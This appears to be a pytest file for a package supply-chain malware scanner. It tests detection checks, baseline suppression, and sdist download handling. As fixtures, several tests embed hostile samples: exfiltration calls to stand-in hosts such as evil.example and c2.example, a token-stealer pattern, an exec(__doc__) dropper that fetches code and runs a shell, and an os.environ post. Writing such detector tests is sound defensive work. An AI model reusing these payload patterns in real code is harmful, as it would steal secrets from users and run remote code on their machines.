assert "sha256:" in a[0].evidence
|
|
assert sp._finding_key(a[0]) != sp._finding_key(b[0])
|
|
|
|
|
|
def test_js_token_network_finding_binds_network_evidence():
|
|
# The JS stealer combo records both the token AND the network call, so a
|
|
# changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
|
|
old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
|
|
new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
|
|
fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
|
|
fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
|
|
assert fo and fn
|
|
assert "Network:" in fo[0].evidence
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_embedded_pem_key_body_change_reopens():
|
|
# The embedded-key evidence pins the full PEM block via a digest, so swapping
|
|
# the key body under the same BEGIN/END markers reopens the finding instead
|
|
# of riding the unchanged marker line.
|
|
head = "-----BEGIN RSA PRIVATE KEY-----\n"
|
|
tail = "\n-----END RSA PRIVATE KEY-----"
|
|
net = "\nrequests.get('http://c2.example')\n"
|
|
old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"
|
|
new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"
|
|
fo = [
|
|
f
|
|
for f in sp.check_py_file(old, "p/k.py", "p")
|
|
if f.check.startswith("Embedded cryptographic key + network")
|
|
]
|
|
fn = [
|
|
f
|
|
for f in sp.check_py_file(new, "p/k.py", "p")
|
|
if f.check.startswith("Embedded cryptographic key + network")
|
|
]
|
|
assert fo and fn
|
|
assert "sha256:" in fo[0].evidence
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_shell_combos_bind_network_evidence():
|
|
# Both shell combos record their network/exec side, so a changed endpoint
|
|
# reopens instead of riding the unchanged token or hook line.
|
|
old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"
|
|
new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"
|
|
to = [
|
|
f
|
|
for f in sp.check_shell_file(old, "p/i.sh", "p")
|
|
if f.check == "Shell embeds credential regexes AND makes network calls"
|
|
]
|
|
tn = [
|
|
f
|
|
for f in sp.check_shell_file(new, "p/i.sh", "p")
|
|
if f.check == "Shell embeds credential regexes AND makes network calls"
|
|
]
|
|
assert to and tn
|
|
assert sp._finding_key(to[0]) != sp._finding_key(tn[0])
|
|
ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"
|
|
hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"
|
|
go = [
|
|
f
|
|
for f in sp.check_shell_file(ho, "p/i.sh", "p")
|
|
if f.check.startswith("Shell installs developer-tool")
|
|
]
|
|
gn = [
|
|
f
|
|
for f in sp.check_shell_file(hn, "p/i.sh", "p")
|
|
if f.check.startswith("Shell installs developer-tool")
|
|
]
|
|
assert go and gn
|
|
assert "Hook:" in go[0].evidence
|
|
assert sp._finding_key(go[0]) != sp._finding_key(gn[0])
|
|
|
|
|
|
def test_hidden_network_exec_reopens_on_endpoint_change():
|
|
# The hidden network+exec payload binds both the network and the exec signal,
|
|
# so changing the docstring exfil URL reopens the finding.
|
|
old = (
|
|
'"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'
|
|
'os.system("sh -c id")\n"""\nexec(__doc__)\n'
|
|
)
|
|
new = (
|
|
'"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
|
|
'os.system("sh -c id")\n"""\nexec(__doc__)\n'
|
|
)
|
|
fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
|
|
fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
|
|
assert fo and fn
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_base64_exec_blob_combo_binds_blob_digest():
|
|
# The blob may sit on a separate line from the decode call; the finding now
|
|
# digests it, so a changed payload reopens even with unchanged base64/exec.
|
|
b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
|
|
b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
|
|
f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
|
|
f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
|
|
assert f1 and f2
|
|
assert "Blob: sha256:" in f1[0].evidence
|
|
assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
|
|
|
|
|
|
def test_openssl_key_combo_binds_key_evidence():
|
|
# openssl + embedded key with no network must bind the key, so a changed key
|
|
# reopens instead of riding the OpenSSL line alone.
|
|
o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
|
|
o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
|
|
g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
|
|
g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
|
|
assert g1 and g2
|
|
assert "Key:" in g1[0].evidence
|
|
assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
|
|
|
|
|
|
def test_anti_analysis_combo_binds_suspicious_side():
|
|
# The anti-analysis combo records the network/exec side, so a changed exfil
|
|
# endpoint reopens instead of riding the unchanged sleep/trace line.
|
|
old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"
|
|
new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"
|
|
fo = [
|
|
f
|
|
for f in sp.check_py_file(old, "p/x.py", "p")
|
|
if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
|
|
]
|
|
fn = [
|
|
f
|
|
for f in sp.check_py_file(new, "p/x.py", "p")
|
|
if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
|
|
]
|
|
assert fo and fn
|
|
assert "Network:" in fo[0].evidence
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_dns_exfil_combo_binds_other_side():
|
|
# The DNS exfil combo records the co-occurring network side, so a changed
|
|
# endpoint reopens instead of riding the unchanged DNS line.
|
|
old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"
|
|
new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"
|
|
fo = [
|
|
f
|
|
for f in sp.check_py_file(old, "p/d.py", "p")
|
|
if f.check == "DNS exfiltration / tunneling patterns"
|
|
]
|
|
fn = [
|
|
f
|
|
for f in sp.check_py_file(new, "p/d.py", "p")
|
|
if f.check == "DNS exfiltration / tunneling patterns"
|
|
]
|
|
assert fo and fn
|
|
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
|
|
|
|
|
def test_large_js_bundle_finding_is_content_bound():
|
|
# A large benign JS bundle yields a HIGH carrying a content digest, not empty
|
|
# evidence: two different bundles in the same size bucket get different keys,
|
|
# so a malicious bundle cannot ride a baselined empty-evidence entry.
|
|
big_a = "var x = 1;\n" * 20000 # ~200 KB, benign
|
|
big_b = big_a + "var exfil = 2;\n" # different content, same size bucket
|
|
ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
|
|
jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
|
|
assert ja and jb, "large JS bundle must produce a finding"
|
|
assert ja[0].evidence.startswith("sha256:")
|
|
assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
|
|
|
|
|
|
def test_pth_large_blob_finding_is_content_bound():
|
|
# The .pth base64-blob evidence pins the full blob via a digest, so a payload
|
|
# that keeps the first 120 chars but changes the tail reopens the finding.
|
|
head = "A" * 120
|
|
a = [
|
|
f
|
|
for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")
|
|
if "base64-like blob" in f.check
|
|
]
|
|
b = [
|
|
f
|
|
for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")
|
|
if "base64-like blob" in f.check
|
|
]
|
|
assert a and b, "large .pth blob must produce a finding"
|
|
assert "sha256:" in a[0].evidence
|
|
assert sp._finding_key(a[0]) != sp._finding_key(b[0])
|
|
|
|
|
|
def test_pth_import_lines_record_all_not_first_five():
|
|
# All executable import lines are recorded, so swapping the sixth import for a
|
|
# malicious one (first five unchanged) still reopens the catch-all finding.
|
|
base = "".join(f"import mod{i}\n" for i in range(6))
|
|
swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
|
|
fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
|
|
fs = [
|
|
f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
|
|
]
|
|
assert fb and fs
|
|
assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
|
|
|
|
|
|
def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):
|
|
# A legacy baseline predating evidence_hash still loads (hash recomputed) but
|
|
# must WARN so the maintainer regenerates rather than degrade silently.
|
|
import json
|
|
|
|
bl = tmp_path / "legacy.json"
|
|
bl.write_text(
|
|
json.dumps(
|
|
{
|
|
"version": 1,
|
|
"entries": [
|
|
{
|
|
"package": "p",
|
|
"file": "p/x.py",
|
|
"check": "c",
|
|
"severity": sp.CRITICAL,
|
|
"evidence": "L5: while True:",
|
|
}
|
|
],
|
|
}
|
|
)
|
|
)
|
|
keys = sp._load_baseline(str(bl))
|
|
assert keys # still loaded
|
|
assert "lack evidence_hash" in capsys.readouterr().err
|
|
|
|
|
|
def test_fstring_statement_is_not_blanked():
|
|
# A bare f-string evaluates at import, so it must stay scannable.
|
|
src = "f\"{__import__('os').system('id')}\"\n"
|
|
assert "__import__" in sp._strip_noncode(src)
|
|
# A plain bare docstring is blanked.
|
|
plain = "'a docstring mentioning subprocess.Popen'\n"
|
|
assert "subprocess" not in sp._strip_noncode(plain)
|
|
|
|
|
|
def test_exec_with_payload_hidden_in_docstring_flagged():
|
|
blob = "A" * 400
|
|
src = '"""' + blob + '"""\nimport os\nexec(__doc__)\n'
|
|
findings = sp.check_py_file(src, "pkg/mod.py", "pkg")
|
|
assert any("hidden in a docstring" in f.check for f in findings)
|
|
# No exec/eval -> the blanked blob produces no such finding.
|
|
src2 = '"""' + blob + '"""\nimport os\n'
|
|
findings2 = sp.check_py_file(src2, "pkg/mod.py", "pkg")
|
|
assert not any("hidden in a docstring" in f.check for f in findings2)
|
|
|
|
|
|
def test_hidden_network_plus_exec_payload_flagged():
|
|
# exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds
|
|
# BOTH a network fetch and an os/shell exec. Neither is a blob, but together
|
|
# they are the payload, so the gate must flag the pair.
|
|
payload = (
|
|
"import urllib.request, os\n"
|
|
"urllib.request.urlopen('http://x/y').read()\n"
|
|
"os.system('sh -c id')\n"
|
|
)
|
|
src = '"""' + payload + '"""\nexec(__doc__)\n'
|
|
findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
|
|
assert any("hidden network+exec payload" in f.check for f in findings)
|
|
|
|
|
|
def test_real_code_network_and_subprocess_not_hidden_combo():
|
|
# Both calls live in REAL code (covered by the normal checks); the hidden
|
|
# network+exec combo must NOT also fire on them.
|
|
src = (
|
|
"import subprocess, urllib.request\n"
|
|
"def run():\n"
|
|
" urllib.request.urlopen('http://x').read()\n"
|
|
" subprocess.Popen(['sh'])\n"
|
|
"exec('1 + 1')\n"
|
|
)
|
|
findings = sp.check_py_file(src, "pkg/real.py", "pkg")
|
|
assert not any("hidden network+exec payload" in f.check for f in findings)
|
|
|
|
|
|
def test_hidden_payload_survives_visible_decoy():
|
|
# A benign visible network call must not mask a docstring payload: the
|
|
# detector inspects the removed (blanked) span, not the whole stripped file.
|
|
payload = (
|
|
"import urllib.request, os\n"
|
|
"urllib.request.urlopen('http://evil/x').read()\n"
|
|
"os.system('sh -c id')\n"
|
|
)
|
|
src = (
|
|
'"""' + payload + '"""\n'
|
|
"import urllib.request\n"
|
|
"urllib.request.urlopen('http://benign/ok')\n" # visible decoy
|
|
"exec(__doc__)\n"
|
|
)
|
|
findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
|
|
assert any("hidden network+exec payload" in f.check for f in findings)
|
|
|
|
|
|
def test_comment_only_network_exec_not_flagged():
|
|
# Tokens only in comments are not executable by exec(); the hidden network+exec
|
|
# check inspects strings/docstrings (not comments), so this must stay clean.
|
|
src = (
|
|
"code = 'x = 1'\n"
|
|
"exec(code)\n"
|
|
"# urllib.request.urlopen('http://host/p').read()\n"
|
|
"# subprocess.run(['sh', '-c', 'id'])\n"
|
|
)
|
|
findings = sp.check_py_file(src, "pkg/ex.py", "pkg")
|
|
assert not any("hidden network+exec payload" in f.check for f in findings)
|
|
|
|
|
|
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
|
|
bl = tmp_path / "bl.json"
|
|
listed = _mk(
|
|
sp.CRITICAL,
|
|
"fastapi",
|
|
"fastapi/routing.py",
|
|
"C2 polling/beaconing loop detected",
|
|
"L579: while True:",
|
|
)
|
|
sp._write_baseline(str(bl), [listed])
|
|
baseline = sp._load_baseline(str(bl))
|
|
|
|
# Same (package, path, check, matched code) -> suppressed.
|
|
active, suppressed = sp._partition_baseline([listed], baseline)
|
|
assert suppressed == [listed] and active == []
|
|
|
|
# A NEW kind of finding in the SAME file is a different check -> still active.
|
|
new_kind = _mk(
|
|
sp.CRITICAL, "fastapi", "fastapi/routing.py", "Reverse shell / bind shell pattern"
|
|
)
|
|
active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
|
|
assert active2 == [new_kind] and suppressed2 == []
|
|
|
|
# Same file + same check but CHANGED flagged code -> still active. A future
|
|
# malicious payload cannot ride a previously reviewed entry's suppression.
|
|
changed_code = _mk(
|
|
sp.CRITICAL,
|
|
"fastapi",
|
|
"fastapi/routing.py",
|
|
"C2 polling/beaconing loop detected",
|
|
"L579: while True: requests.get('http://c2.example/beacon')",
|
|
)
|
|
active3, suppressed3 = sp._partition_baseline([changed_code], baseline)
|
|
assert active3 == [changed_code] and suppressed3 == []
|
|
|
|
# A benign line shift of the SAME code stays suppressed (no version churn).
|
|
shifted = _mk(
|
|
sp.CRITICAL,
|
|
"fastapi",
|
|
"fastapi/routing.py",
|
|
"C2 polling/beaconing loop detected",
|
|
"L640: while True:",
|
|
)
|
|
active4, suppressed4 = sp._partition_baseline([shifted], baseline)
|
|
assert suppressed4 == [shifted] and active4 == []
|
|
|
|
|
|
def test_write_baseline_roundtrip_only_crit_high(tmp_path):
|
|
bl = tmp_path / "bl.json"
|
|
findings = [
|
|
_mk(sp.CRITICAL, "p", "a.py", "c1"),
|
|
_mk(sp.HIGH, "p", "b.py", "c2"),
|
|
_mk(sp.MEDIUM, "p", "c.py", "c3"), # MEDIUM excluded from baseline
|
|
]
|
|
sp._write_baseline(str(bl), findings)
|
|
keys = sp._load_baseline(str(bl))
|
|
assert sp._finding_key(findings[0]) in keys
|
|
assert sp._finding_key(findings[1]) in keys
|
|
assert sp._finding_key(findings[2]) not in keys
|
|
|
|
|
|
def test_load_baseline_missing_file_is_empty():
|
|
assert sp._load_baseline("/nonexistent/path/bl.json") == set()
|
|
|
|
|
|
def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):
|
|
# A malformed baseline whose "entries" is not a list must warn and fail
|
|
# closed (empty), not raise TypeError when iterated.
|
|
import json
|
|
|
|
bl = tmp_path / "bad_entries.json"
|
|
bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")
|
|
assert sp._load_baseline(str(bl)) == set()
|
|
assert "entries is not a list" in capsys.readouterr().err
|
|
|
|
|
|
def test_committed_baseline_suppresses_known_but_not_a_new_payload():
|
|
"""End-to-end against the shipped allowlist: a reviewed benign finding stays
|
|
suppressed, but a NEW malicious payload in the same baselined file/check is
|
|
not (closes the supply-chain bypass where a future botocore/utils.py payload
|
|
rode the existing CRITICAL entry)."""
|
|
import json
|
|
|
|
baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
|
|
entries = json.loads(baseline_path.read_text())["entries"]
|
|
target = next(
|
|
e
|
|
for e in entries
|
|
if e["package"] == "botocore"
|
|
and e["file"] == "botocore/utils.py"
|
|
and e["check"] == "Harvests environment variables/secrets AND makes network calls"
|
|
)
|
|
baseline = sp._load_baseline(str(baseline_path))
|
|
|
|
# The exact reviewed finding is suppressed.
|
|
benign = _mk(
|
|
target["severity"], target["package"], target["file"], target["check"], target["evidence"]
|
|
)
|
|
active, suppressed = sp._partition_baseline([benign], baseline)
|
|
assert suppressed == [benign] and active == []
|
|
|
|
# A future malicious version: same file, same check, new exfil code. Must
|
|
# remain ACTIVE so the enforcing gate (exit 1) still trips.
|
|
malicious = _mk(
|
|
target["severity"],
|
|
target["package"],
|
|
target["file"],
|
|
target["check"],
|
|
"Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
|
|
)
|
|
active2, suppressed2 = sp._partition_baseline([malicious], baseline)
|
|
assert active2 == [malicious] and suppressed2 == []
|
|
|
|
|
|
def test_committed_baseline_entries_all_carry_evidence_hash():
|
|
"""Every shipped entry must pin an evidence_hash; an entry without one would
|
|
silently fall back to the coarse legacy match for that file/check."""
|
|
import json
|
|
|
|
baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
|
|
entries = json.loads(baseline_path.read_text())["entries"]
|
|
assert entries, "committed baseline should not be empty"
|
|
missing = [
|
|
f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
|
|
]
|
|
assert not missing, f"entries missing evidence_hash: {missing[:5]}"
|
|
# And each pinned hash matches a recompute from the stored evidence.
|
|
for e in entries:
|
|
assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]
|
|
|
|
|
|
# sdist fallback: cover sdist-only packages without building. All offline
|
|
# -- PyPI JSON / download are mocked.
|
|
|
|
|
|
class _FakeResp:
|
|
"""Minimal urlopen() context-manager stand-in."""
|
|
|
|
def __init__(
|
|
self,
|
|
data: bytes = b"",
|
|
status: int = 200,
|
|
):
|
|
self._data = data
|
|
self.status = status
|
|
|
|
def read(self, n: int = -1) -> bytes:
|
|
return self._data
|
|
|
|
def __enter__(self):
|
|
return self
|
|
|
|
def __exit__(self, *a):
|
|
return False
|
|
|
|
|
|
def _f(packagetype: str, filename: str, url: str) -> dict:
|
|
return {"packagetype": packagetype, "filename": filename, "url": url}
|
|
|
|
|
|
def _meta(
|
|
files: list[dict],
|
|
requires = None,
|
|
version: str = "1.0.0",
|
|
) -> dict:
|
|
return {
|
|
"info": {"version": version, "requires_dist": requires or []},
|
|
"urls": files,
|
|
"releases": {version: files},
|
|
}
|
|
|
|
|
|
def test_spec_pin_version():
|
|
assert sp._spec_pin_version("torch==2.3.1") == "2.3.1"
|
|
assert sp._spec_pin_version("torch>=2.0") is None
|
|
assert sp._spec_pin_version("numpy") is None
|
|
|
|
|
|
def test_release_has_wheel_detects_sdist_only():
|
|
sdist_only = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
|
|
assert sp._release_has_wheel(sdist_only, None) is False
|
|
assert sp._release_has_wheel(sdist_only, "1.0.0") is False
|
|
has_wheel = _meta(
|
|
[
|
|
_f("sdist", "x.tar.gz", "https://files.pythonhosted.org/x.tar.gz"),
|
|
_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl"),
|
|
]
|
|
)
|
|
assert sp._release_has_wheel(has_wheel, None) is True
|
|
|
|
|
|
def test_is_trusted_pypi_url_only_https_pypi():
|
|
assert sp._is_trusted_pypi_url("https://files.pythonhosted.org/p/x.tar.gz") is True
|
|
assert sp._is_trusted_pypi_url("https://pypi.org/x.tar.gz") is True
|
|
assert sp._is_trusted_pypi_url("http://files.pythonhosted.org/x.tar.gz") is False # not https
|
|
assert sp._is_trusted_pypi_url("https://evil.example/x.tar.gz") is False
|
|
assert sp._is_trusted_pypi_url("https://files.pythonhosted.org.evil.com/x") is False
|
|
|
|
|
|
def test_requires_dist_skips_extras():
|
|
meta = _meta(
|
|
[],
|
|
requires = [
|
|
"numpy (>=1.20)",
|
|
"torch ; extra == 'dev'", # optional extra -> skipped
|
|
"pyyaml>=5 ; python_version >= '3.8'", # non-extra marker -> kept
|
|
"payload>=1 ; extra != 'dev'", # default-true marker -> kept
|
|
],
|
|
)
|
|
specs = sp._requires_dist_names(meta)
|
|
# Version constraints are preserved so a pinned dep is fetched, not latest.
|
|
assert "numpy>=1.20" in specs
|
|
assert "pyyaml>=5" in specs
|
|
# A default-true marker that merely mentions ``extra`` is NOT optional.
|
|
assert "payload>=1" in specs
|
|
# The extra-gated dep is skipped entirely (no torch under any form).
|
|
assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
|
|
|
|
|
|
def test_marker_holds_by_default():
|
|
# Optional only when the extra is the sole gate.
|
|
assert sp._marker_holds_by_default("extra == 'dev'") is False
|
|
assert sp._marker_holds_by_default('extra == "dev"') is False
|
|
# Default-true markers that mention extra must be kept.
|
|
assert sp._marker_holds_by_default("extra != 'dev'") is True
|
|
assert sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True
|
|
# No marker / plain env marker -> kept.
|
|
assert sp._marker_holds_by_default("") is True
|
|
# Platform/python markers are kept: the scanner runs on one target but the
|
|
# package may install on another, so these deps must still be scanned.
|
|
assert sp._marker_holds_by_default("sys_platform == 'win32'") is True
|
|
assert sp._marker_holds_by_default("python_version == '3.13'") is True
|
|
assert sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'") is True
|
|
|
|
|
|
def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch):
|
|
# The pinned release's own metadata cannot be fetched -> recover nothing
|
|
# rather than substituting the latest release's (wrong) dependency tree.
|
|
project = _meta([], requires = ["latestdep==9.9.9"])
|
|
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
|
|
assert sp._requires_dist_for("oldpkg", "1.0.0", project) == []
|
|
|
|
|
|
def test_requires_dist_for_uses_pinned_release(monkeypatch):
|
|
# Project-level (latest) metadata declares no malicious dep; the pinned
|
|
# release does. _requires_dist_for must follow the pinned release's tree.
|
|
project = _meta([], requires = ["harmless>=1"])
|
|
pinned = _meta([], requires = ["payload==1.0.0"])
|
|
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project)
|
|
specs = sp._requires_dist_for("oldpkg", "1.0.0", project)
|
|
assert "payload==1.0.0" in specs
|
|
assert "harmless>=1" not in specs
|
|
|
|
|
|
def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):
|
|
# Missing pinned metadata must surface an incomplete-scan error, not a silent
|
|
# [] that a caller cannot tell apart from a genuine no-deps release.
|
|
project = _meta([], requires = ["latestdep==9.9.9"])
|
|
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
|
|
errors: list[str] = []
|
|
assert sp._requires_dist_for("oldpkg", "1.0.0", project, errors) == []
|
|
assert errors and "incomplete" in errors[0]
|
|
|
|
|
|
def test_release_files_pinned_missing_fails_closed():
|
|
# A pin absent from metadata must NOT fall back to the latest artifact.
|
|
meta = _meta(
|
|
[_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
|
|
version = "2.0.0",
|
|
)
|
|
assert sp._release_files(meta, "9.9.9") == [] # missing pin -> empty, not latest
|
|
assert sp._release_has_wheel(meta, "9.9.9") is False
|
|
assert sp._release_files(meta, "2.0.0") # present pin still resolves
|
|
assert sp._release_files(meta, None) # unpinned still uses latest
|
|
|
|
|
|
def test_download_sdist_direct_missing_pin_does_not_scan_latest(tmp_path):
|
|
# Pinned version absent -> no sdist returned (never the latest file).
|
|
meta = _meta(
|
|
[_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
|
|
version = "2.0.0",
|
|
)
|
|
fpath, err = sp._download_sdist_direct("x", "9.9.9", str(tmp_path), meta = meta)
|
|
assert fpath is None and "no sdist" in err
|
|
assert list(tmp_path.iterdir()) == []
|
|
|
|
|
|
def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
|
|
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
|
|
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
|
|
assert fpath is None and "non-PyPI" in err
|
|
assert list(tmp_path.iterdir()) == [] # nothing written
|
|
|
|
|
|
def test_download_sdist_direct_no_sdist_published(tmp_path):
|
|
meta = _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")])
|
|
fpath, err = sp._download_sdist_direct("x", None, str(tmp_path), meta = meta)
|
|
assert fpath is None and "no sdist" in err
|
|
|
|
|
|
def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch):
|
|
payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
|
|
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
|
|
meta = _meta(
|
|
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")],
|
|
version = "1.1.6",
|
|
)
|
|
fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
|
|
assert err is None and fpath is not None
|
|
assert fpath.endswith(".tar.gz") # suffix preserved -> archive reader picks format
|
|
assert Path(fpath).read_bytes() == payload
|
|
|
|
|
|
def test_download_sdist_direct_size_cap(tmp_path, monkeypatch):
|
|
monkeypatch.setattr(sp, "_MAX_SDIST_BYTES", 8)
|
|
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"x" * 100))
|
|
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
|
|
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
|
|
assert fpath is None and "cap" in err
|
|
|
|
|
|
def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
|
|
# A spec that fails pip but HAS a wheel on PyPI is a genuine error (-> exit 2).
|
|
class _Proc:
|
|
returncode = 1
|
|
stderr = "ResolutionImpossible"
|
|
|
|
monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
|
|
monkeypatch.setattr(
|
|
sp,
|
|
"_pypi_json",
|
|
lambda name, version = None: _meta(
|
|
[_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]
|
|
),
|
|
)
|
|
errors: list[str] = []
|
|
sp._resolve_per_spec_with_deps(["somepkg==1.0.0"], str(tmp_path), {}, errors)
|
|
assert errors and "somepkg" in errors[0]
|
|
|
|
|
|
def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
|
|
# sdist-only spec: pip fails, PyPI shows no wheel -> direct fetch, no error.
|
|
class _Proc:
|
|
returncode = 1
|
|
stderr = "No matching distribution"
|
|
|
|
monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
|
|
monkeypatch.setattr(
|
|
sp,
|
|
"_pypi_json",
|
|
lambda name, version = None: _meta(
|
|
[_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
|
|
),
|
|
)
|
|
monkeypatch.setattr(
|
|
sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"\x1f\x8bdata")
|
|
)
|
|
errors: list[str] = []
|
|
sp._resolve_per_spec_with_deps(["x==1.0.0"], str(tmp_path), {}, errors)
|
|
assert errors == [] # sdist-only handled, not an exit-2 failure
|
|
assert any(p.name.endswith(".tar.gz") for p in tmp_path.iterdir())
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# --fix path: download_packages() returns (results, download_errors); both
|
|
# --fix call sites must unpack the tuple, not treat it as the results list.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def test_find_safe_version_handles_download_tuple(monkeypatch):
|
|
# One downloaded archive, returned as the real (results, download_errors) tuple.
|
|
monkeypatch.setattr(sp, "fetch_pypi_versions", lambda name: ["0.9.0", "1.0.0"])
|
|
monkeypatch.setattr(
|
|
sp,
|
|
"download_packages",
|
|
lambda specs, dest, **kw: ([("foo==0.9.0", "/tmp/foo-0.9.0.whl")], []),
|
|
)
|
|
monkeypatch.setattr(sp, "scan_archive", lambda archive_path, name: []) # clean
|
|
monkeypatch.setattr(sp.os, "makedirs", lambda *a, **k: None)
|
|
monkeypatch.setattr(sp.os, "remove", lambda *a, **k: None)
|
|
monkeypatch.setattr(sp.shutil, "rmtree", lambda *a, **k: None)
|
|
|
|
# bad_ver 1.0.0 -> the only older candidate is 0.9.0, which is clean.
|
|
result = sp.find_safe_version("foo", "1.0.0", "/tmp/ignored", max_search = 10)
|
|
assert result == "0.9.0"
|
|
|
|
|
|
def test_run_fix_uses_first_archive_path(monkeypatch):
|
|
monkeypatch.setattr(
|
|
sp,
|
|
"download_packages",
|
|
lambda specs, dest, **kw: ([("foo", "/tmp/foo-1.2.3.whl")], []),
|
|
)
|
|
seen = {}
|
|
|
|
